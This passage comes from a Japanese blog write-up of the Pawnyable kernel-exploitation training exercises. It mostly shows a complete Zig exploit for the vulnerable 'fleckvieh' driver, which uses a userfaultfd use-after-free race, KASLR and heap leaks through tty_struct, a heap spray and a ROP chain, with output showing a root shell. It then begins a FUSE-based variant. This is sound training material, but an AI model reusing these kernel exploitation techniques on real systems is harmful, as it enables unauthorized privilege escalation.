</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">for</span> (gadgets) <span style="color:#00d3d0">|</span>g<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>        g.<span style="color:#00d3d0">*</span> <span style="color:#00d3d0">+=</span> kaslr_offset;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>

</div>
</details>
<p><a id="code-snippet--lk04-userfaultfd-full"></a></p>





  
  
    

  
  
    
    
  

  
  
    
    
  

  
  
    
    
  

  
  
    
    
  

  
  
    
    
  

  
  
    





  

  

  

  

  





<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><a href="#code-snippet--pawnyable-lib">&lt;&lt;pawnyable-lib&gt;&gt;</a>
</span></span><span style="display:flex;"><span><a href="#code-snippet--lk04-types">&lt;&lt;lk04-types&gt;&gt;</a>
</span></span><span style="display:flex;"><span><a href="#code-snippet--tty_struct">&lt;&lt;tty_struct&gt;&gt;</a>
</span></span><span style="display:flex;"><span><a href="#code-snippet--lk04-userfaultfd">&lt;&lt;lk04-userfaultfd&gt;&gt;</a>
</span></span><span style="display:flex;"><span><a href="#code-snippet--lk04-ropchain">&lt;&lt;lk04-ropchain&gt;&gt;</a>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> UAF <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">enum</span> {
</span></span><span style="display:flex;"><span>    AAR,
</span></span><span style="display:flex;"><span>    AAW,
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">sprayFaultHandler</span>(uffd<span style="color:#00d3d0">:</span> posix.fd_t, fd<span style="color:#00d3d0">:</span> posix.fd_t, ttys<span style="color:#00d3d0">:</span> []posix.fd_t, buf<span style="color:#00d3d0">:</span> []<span style="color:#6ae4b9">u8</span>, id<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">*</span><span style="color:#6ae4b9">i32</span>, uaf_type<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">*</span>UAF) <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> pollfds <span style="color:#00d3d0">=</span> [_]posix.pollfd{
</span></span><span style="display:flex;"><span>        .{ .fd <span style="color:#00d3d0">=</span> uffd, .events <span style="color:#00d3d0">=</span> posix.POLL.IN, .revents <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span> }
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">while</span> (<span style="color:#00bcff">true</span>) {
</span></span><span style="display:flex;"><span>        _ <span style="color:#00d3d0">=</span> posix.<span style="color:#feacd0">poll</span>(<span style="color:#00d3d0">&amp;</span>pollfds, <span style="color:#00d3d0">-</span><span style="color:#00bcff">1</span>) <span style="color:#b6a0ff">catch</span> <span style="color:#b6a0ff">break</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> pollfd <span style="color:#00d3d0">=</span> pollfds[<span style="color:#00bcff">0</span>];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> err_mask <span style="color:#00d3d0">=</span> posix.POLL.ERR <span style="color:#00d3d0">|</span> posix.POLL.HUP;
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">if</span> (pollfd.revents <span style="color:#00d3d0">&amp;</span> err_mask <span style="color:#00d3d0">!=</span> <span style="color:#00bcff">0</span>) {
</span></span><span style="display:flex;"><span>            std.log.<span style="color:#feacd0">err</span>(<span style="color:#79a8ff">&#34;poll failed&#34;</span>, .{});
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">return</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">var</span> msg<span style="color:#00d3d0">:</span> userfaultfd.msg <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>        _ <span style="color:#00d3d0">=</span> posix.<span style="color:#feacd0">read</span>(uffd, std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>msg)) <span style="color:#b6a0ff">catch</span> {
</span></span><span style="display:flex;"><span>            std.log.<span style="color:#feacd0">err</span>(<span style="color:#79a8ff">&#34;read failed&#34;</span>, .{});
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">return</span>;
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> pagefault_event <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">switch</span> (msg.event) {
</span></span><span style="display:flex;"><span>            .PAGEFAULT <span style="color:#00d3d0">=&gt;</span> msg.arg.pagefault,
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> {
</span></span><span style="display:flex;"><span>                std.log.<span style="color:#feacd0">err</span>(<span style="color:#79a8ff">&#34;received non-pagefault event&#34;</span>, .{});
</span></span><span style="display:flex;"><span>                <span style="color:#b6a0ff">return</span>;
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;Beginning {s}&#34;</span>, .{<span style="color:#f78fe7">@tagName</span>(uaf_type.<span style="color:#00d3d0">*</span>)});
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">switch</span> (uaf_type.<span style="color:#00d3d0">*</span>) {
</span></span><span style="display:flex;"><span>            .AAR <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>            .AAW <span style="color:#00d3d0">=&gt;</span> {
</span></span><span style="display:flex;"><span>                <span style="color:#a8a8a8">// we want to overwrite the data at the address `heap_leak&#39; with malicious tty_operations structures
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>                <span style="color:#a8a8a8">// but we cannot simply SET the contents of the tty_struct that `heap_leak&#39; points to
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>                <span style="color:#a8a8a8">// instead, we will free the aforementioned tty_struct(s) and spray tty_operations (by adding blobs with contents of `buf&#39;), hoping that one will be placed at `heap_leak&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>                <span style="color:#b6a0ff">for</span> (<span style="color:#00bcff">0</span>..<span style="color:#00bcff">100</span>) <span style="color:#00d3d0">|</span>_<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>                    _ <span style="color:#00d3d0">=</span> fleckvieh.<span style="color:#feacd0">ioctl</span>(fd, .ADD, buf, <span style="color:#00bcff">null</span>) <span style="color:#b6a0ff">catch</span> <span style="color:#00d3d0">|</span>err<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>                        std.log.<span style="color:#feacd0">err</span>(<span style="color:#79a8ff">&#34;blob_add failed with {any}&#34;</span>, .{err});
</span></span><span style="display:flex;"><span>                        <span style="color:#b6a0ff">return</span>;
</span></span><span style="display:flex;"><span>                    };
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        _ <span style="color:#00d3d0">=</span> fleckvieh.<span style="color:#feacd0">ioctl</span>(fd, .DEL, <span style="color:#00bcff">null</span>, id.<span style="color:#00d3d0">*</span>) <span style="color:#b6a0ff">catch</span> <span style="color:#00d3d0">|</span>err<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>            std.log.<span style="color:#feacd0">err</span>(<span style="color:#79a8ff">&#34;blob_del failed with {any}&#34;</span>, .{err});
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">return</span>;
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">for</span> (ttys) <span style="color:#00d3d0">|*</span>tty<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>            tty.<span style="color:#00d3d0">*</span> <span style="color:#00d3d0">=</span> posix.<span style="color:#feacd0">open</span>(<span style="color:#79a8ff">&#34;/dev/ptmx&#34;</span>, .{ .ACCMODE <span style="color:#00d3d0">=</span> .RDONLY, .NOCTTY <span style="color:#00d3d0">=</span> <span style="color:#00bcff">true</span> }, <span style="color:#00bcff">0o660</span>) <span style="color:#b6a0ff">catch</span> <span style="color:#b6a0ff">unreachable</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">var</span> ufcopy <span style="color:#00d3d0">=</span> userfaultfd.uffdio_copy{ .src <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#f78fe7">@as</span>([<span style="color:#00d3d0">*</span>]<span style="color:#6ae4b9">u8</span>, <span style="color:#f78fe7">@ptrCast</span>(buf))), .dst <span style="color:#00d3d0">=</span> pagefault_event.address, .len <span style="color:#00d3d0">=</span> std.heap.page_size_min, .mode <span style="color:#00d3d0">=</span> .{}, .copy <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span> };
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(linux.<span style="color:#feacd0">ioctl</span>(uffd, <span style="color:#f78fe7">@intFromEnum</span>(userfaultfd.UFFDIO.COPY), <span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#00d3d0">&amp;</span>ufcopy)))) {
</span></span><span style="display:flex;"><span>            .SUCCESS <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>err<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>                std.log.<span style="color:#feacd0">err</span>(<span style="color:#79a8ff">&#34;{any}&#34;</span>, .{err});
</span></span><span style="display:flex;"><span>                <span style="color:#b6a0ff">return</span>;
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">exploit</span>(fd<span style="color:#00d3d0">:</span> posix.fd_t) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> ttys<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">10</span>]posix.fd_t <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">1024</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> id<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">i32</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> uaf_type<span style="color:#00d3d0">:</span> UAF <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> faultable_pages <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">mmap</span>(
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">null</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">3</span><span style="color:#00d3d0">*</span>std.heap.page_size_min, <span style="color:#a8a8a8">// 3 UAFs
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        linux.PROT.READ <span style="color:#00d3d0">|</span> linux.PROT.WRITE,
</span></span><span style="display:flex;"><span>        posix.MAP{ .TYPE <span style="color:#00d3d0">=</span> .PRIVATE, .ANONYMOUS <span style="color:#00d3d0">=</span> <span style="color:#00bcff">true</span> },
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">-</span><span style="color:#00bcff">1</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>    );
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> posix.<span style="color:#feacd0">munmap</span>(faultable_pages);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> userfaultfd.<span style="color:#feacd0">register</span>(faultable_pages, sprayFaultHandler, .{fd, <span style="color:#00d3d0">&amp;</span>ttys, <span style="color:#00d3d0">&amp;</span>buf, <span style="color:#00d3d0">&amp;</span>id, <span style="color:#00d3d0">&amp;</span>uaf_type});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> kaslr_offset <span style="color:#00d3d0">=</span> blk<span style="color:#00d3d0">:</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">defer</span> <span style="color:#b6a0ff">for</span> (ttys) <span style="color:#00d3d0">|</span>tty<span style="color:#00d3d0">|</span> posix.<span style="color:#feacd0">close</span>(tty);
</span></span><span style="display:flex;"><span>        id <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> fleckvieh.<span style="color:#feacd0">ioctl</span>(fd, .ADD, <span style="color:#00d3d0">&amp;</span>buf, <span style="color:#00bcff">null</span>);
</span></span><span style="display:flex;"><span>        uaf_type <span style="color:#00d3d0">=</span> .AAR;
</span></span><span style="display:flex;"><span>        <span style="color:#a8a8a8">// trigger a page fault and leak heap address
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#a8a8a8">// when calling copy_to_user, the first few bytes are copied from the heap, and only when they are moved into `faultable_pages&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#a8a8a8">// does the UAF occur. Therefore, to ensure the bytes containing `tty_struct.ops&#39; are not copied before copy_to_user accesses `faultable_pages&#39;, we must make a smaller request.
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> fleckvieh.<span style="color:#feacd0">ioctl</span>(fd, .GET, faultable_pages[<span style="color:#00bcff">0</span>..<span style="color:#00bcff">0x20</span>], id);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> ptmx_fops_addr<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81c3c3c0</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">break</span> <span style="color:#00d3d0">:</span>blk std.mem.<span style="color:#feacd0">bytesAsValue</span>(<span style="color:#6ae4b9">u64</span>, faultable_pages[<span style="color:#f78fe7">@offsetOf</span>(tty_struct, <span style="color:#79a8ff">&#34;ops&#34;</span>)..][<span style="color:#00bcff">0</span>..<span style="color:#f78fe7">@sizeOf</span>(<span style="color:#f78fe7">@FieldType</span>(tty_struct, <span style="color:#79a8ff">&#34;ops&#34;</span>))]).<span style="color:#00d3d0">*</span> <span style="color:#00d3d0">-</span> ptmx_fops_addr;
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">adjust_offsets</span>(kaslr_offset);
</span></span><span style="display:flex;"><span>    std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;Kernel base @ 0x{x}&#34;</span>, .{<span style="color:#00bcff">0xffffffff81000000</span><span style="color:#00d3d0">+</span>kaslr_offset});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> heap_leak <span style="color:#00d3d0">=</span> blk<span style="color:#00d3d0">:</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">defer</span> <span style="color:#b6a0ff">for</span> (ttys) <span style="color:#00d3d0">|</span>tty<span style="color:#00d3d0">|</span> posix.<span style="color:#feacd0">close</span>(tty);
</span></span><span style="display:flex;"><span>        id <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> fleckvieh.<span style="color:#feacd0">ioctl</span>(fd, .ADD, <span style="color:#00d3d0">&amp;</span>buf, <span style="color:#00bcff">null</span>);
</span></span><span style="display:flex;"><span>        uaf_type <span style="color:#00d3d0">=</span> .AAR;
</span></span><span style="display:flex;"><span>        _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> fleckvieh.<span style="color:#feacd0">ioctl</span>(fd, .GET, faultable_pages[std.heap.page_size_min..][<span style="color:#00bcff">0</span>..<span style="color:#00bcff">1024</span>], id);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> offset <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@offsetOf</span>(tty_struct, <span style="color:#79a8ff">&#34;ldisc_sem&#34;</span>) <span style="color:#00d3d0">+</span> <span style="color:#f78fe7">@offsetOf</span>(<span style="color:#f78fe7">@FieldType</span>(tty_struct, <span style="color:#79a8ff">&#34;ldisc_sem&#34;</span>), <span style="color:#79a8ff">&#34;read_wait&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">break</span> <span style="color:#00d3d0">:</span>blk std.mem.<span style="color:#feacd0">bytesAsValue</span>(<span style="color:#6ae4b9">u64</span>, faultable_pages[std.heap.page_size_min..][offset..][<span style="color:#00bcff">0</span>..<span style="color:#00bcff">8</span>]).<span style="color:#00d3d0">*</span> <span style="color:#00d3d0">-</span> offset;
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;Heap leak = 0x{x}&#34;</span>, .{heap_leak});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>        <span style="color:#f78fe7">@memcpy</span>(buf[<span style="color:#00bcff">0</span>..<span style="color:#00bcff">1024</span>], faultable_pages[std.heap.page_size_min..][<span style="color:#00bcff">0</span>..<span style="color:#00bcff">1024</span>]);
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> tty <span style="color:#00d3d0">=</span> std.mem.<span style="color:#feacd0">bytesAsValue</span>(tty_struct, <span style="color:#00d3d0">&amp;</span>buf);
</span></span><span style="display:flex;"><span>        tty.<span style="color:#00d3d0">*</span>.magic <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0x5401</span>;
</span></span><span style="display:flex;"><span>        tty.<span style="color:#00d3d0">*</span>.kref <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span>        tty.<span style="color:#00d3d0">*</span>.dev <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span>        tty.<span style="color:#00d3d0">*</span>.driver <span style="color:#00d3d0">=</span> heap_leak;
</span></span><span style="display:flex;"><span>        tty.<span style="color:#00d3d0">*</span>.ops <span style="color:#00d3d0">=</span> heap_leak<span style="color:#00d3d0">+</span><span style="color:#00bcff">0x100</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#a8a8a8">// ensure ropchain is far away enough from important tty_struct internals
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#f78fe7">@memcpy</span>(buf[<span style="color:#00bcff">0x100</span>..][<span style="color:#00bcff">0</span>..<span style="color:#f78fe7">@sizeOf</span>(tty_operations)], std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>tty_operations{ .ioctl <span style="color:#00d3d0">=</span> PUSH_RDX_CMP_EAX_0x415b005c_POP_RSP_POP_RBP }));
</span></span><span style="display:flex;"><span>        _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">ropchain</span>(buf[<span style="color:#00bcff">0x100</span>..][<span style="color:#f78fe7">@sizeOf</span>(tty_operations)..]);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        id <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> fleckvieh.<span style="color:#feacd0">ioctl</span>(fd, .ADD, <span style="color:#00d3d0">&amp;</span>buf, <span style="color:#00bcff">null</span>);
</span></span><span style="display:flex;"><span>        uaf_type <span style="color:#00d3d0">=</span> .AAW;
</span></span><span style="display:flex;"><span>        _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> fleckvieh.<span style="color:#feacd0">ioctl</span>(fd, .SET, faultable_pages[<span style="color:#00bcff">2</span><span style="color:#00d3d0">*</span>std.heap.page_size_min..][<span style="color:#00bcff">0</span>..<span style="color:#00bcff">1024</span>], id);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">for</span> (ttys) <span style="color:#00d3d0">|</span>tty<span style="color:#00d3d0">|</span> _ <span style="color:#00d3d0">=</span> linux.<span style="color:#feacd0">ioctl</span>(tty, <span style="color:#00bcff">0xdeadbeef</span>, heap_leak<span style="color:#00d3d0">+</span><span style="color:#00bcff">0x100</span><span style="color:#00d3d0">+</span><span style="color:#f78fe7">@sizeOf</span>(tty_operations));
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">main</span>() <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">var</span> cpu<span style="color:#00d3d0">:</span> linux.cpu_set_t <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@splat</span>(<span style="color:#00bcff">0</span>);
</span></span><span style="display:flex;"><span>        cpu[<span style="color:#00bcff">0</span>] <span style="color:#00d3d0">=</span> <span style="color:#00bcff">1</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">try</span> linux.<span style="color:#feacd0">sched_setaffinity</span>(linux.<span style="color:#feacd0">getpid</span>(), <span style="color:#00d3d0">&amp;</span>cpu);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">catchSigsegv</span>(<span style="color:#00d3d0">&amp;</span>modprobePath);
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">saveState</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> fd <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">open</span>(<span style="color:#79a8ff">&#34;/dev/fleckvieh&#34;</span>, .{ .ACCMODE <span style="color:#00d3d0">=</span> .RDWR }, <span style="color:#00bcff">0o660</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> posix.<span style="color:#feacd0">close</span>(fd);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">exploit</span>(fd);
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>user
</span></span><span style="display:flex;"><span>[INFO] Beginning AAR
</span></span><span style="display:flex;"><span>[INFO] Kernel base @ 0xffffffffb0800000
</span></span><span style="display:flex;"><span>[INFO] Beginning AAR
</span></span><span style="display:flex;"><span>[INFO] Heap leak = 0xffff9635433f4400
</span></span><span style="display:flex;"><span>[INFO] Beginning AAW
</span></span><span style="display:flex;"><span>[INFO] You won!!
</span></span><span style="display:flex;"><span>root</span></span></code></pre></div>

<p><a href="/pawnyable/lk04-userfaultfd.zig">完全なエクスプロイト</a></p>
<p>いいね。</p>
<h3 id="fuse">FUSE</h3>
<p>FUSEはユーザー空間でファイルシステムを実装するものだ。
ま、僕たちの目的において重要なのはとあるファイルを開けるときに任意ハンドラーは実行する。</p>
<p>userfaultfdのようにまずは単純なプログラムを実装しよう。</p>
<p><a id="code-snippet--lk04-fuse-build.zig"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> std <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@import</span>(<span style="color:#79a8ff">&#34;std&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">build</span>(b<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">*</span>std.Build) <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> target <span style="color:#00d3d0">=</span> b.<span style="color:#feacd0">resolveTargetQuery</span>(.{
</span></span><span style="display:flex;"><span>        .cpu_arch <span style="color:#00d3d0">=</span> .x86_64,
</span></span><span style="display:flex;"><span>        .os_tag <span style="color:#00d3d0">=</span> .linux,
</span></span><span style="display:flex;"><span>        .abi <span style="color:#00d3d0">=</span> .musl,
</span></span><span style="display:flex;"><span>    });
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> optimize <span style="color:#00d3d0">=</span> b.<span style="color:#feacd0">standardOptimizeOption</span>(.{});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> exe <span style="color:#00d3d0">=</span> b.<span style="color:#feacd0">addExecutable</span>(.{
</span></span><span style="display:flex;"><span>        .name <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;exploit&#34;</span>,
</span></span><span style="display:flex;"><span>        .root_source_file <span style="color:#00d3d0">=</span> b.<span style="color:#feacd0">path</span>(<span style="color:#79a8ff">&#34;main.zig&#34;</span>),
</span></span><span style="display:flex;"><span>        .target <span style="color:#00d3d0">=</span> target,
</span></span><span style="display:flex;"><span>        .optimize <span style="color:#00d3d0">=</span> optimize,
</span></span><span style="display:flex;"><span>        .link_libc <span style="color:#00d3d0">=</span> <span style="color:#00bcff">true</span>,
</span></span><span style="display:flex;"><span>        .linkage <span style="color:#00d3d0">=</span> .static,
</span></span><span style="display:flex;"><span>    });
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    exe.<span style="color:#feacd0">linkSystemLibrary2</span>(<span style="color:#79a8ff">&#34;fuse&#34;</span>, .{ .use_pkg_config <span style="color:#00d3d0">=</span> .yes, .preferred_link_mode <span style="color:#00d3d0">=</span> .static });
</span></span><span style="display:flex;"><span>    exe.<span style="color:#feacd0">linkSystemLibrary</span>(<span style="color:#79a8ff">&#34;pthread&#34;</span>);
</span></span><span style="display:flex;"><span>    exe.<span style="color:#feacd0">linkSystemLibrary</span>(<span style="color:#79a8ff">&#34;dl&#34;</span>);
</span></span><span style="display:flex;"><span>    b.<span style="color:#feacd0">installArtifact</span>(exe);
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>

<p>（FUSEのZigバインディングは<a href="/pawnyable/fuse29.zig">こち</a>）</p>
<p><a id="code-snippet--lk04-fuse-example"></a></p>





  
  
    

  
  
    
    
  

  
  
    





  





<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><a href="#code-snippet--pawnyable-lib">&lt;&lt;pawnyable-lib&gt;&gt;</a>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> fuse <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@import</span>(<span style="color:#79a8ff">&#34;fuse29.zig&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> content <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;Hello world!</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">export</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">getattrCallback</span>(path<span style="color:#00d3d0">:</span> [<span style="color:#00d3d0">*:</span><span style="color:#00bcff">0</span>]<span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">u8</span>, stbuf<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">?*</span>linux.Stat) <span style="color:#feacd0">callconv</span>(.C) <span style="color:#6ae4b9">i32</span> {
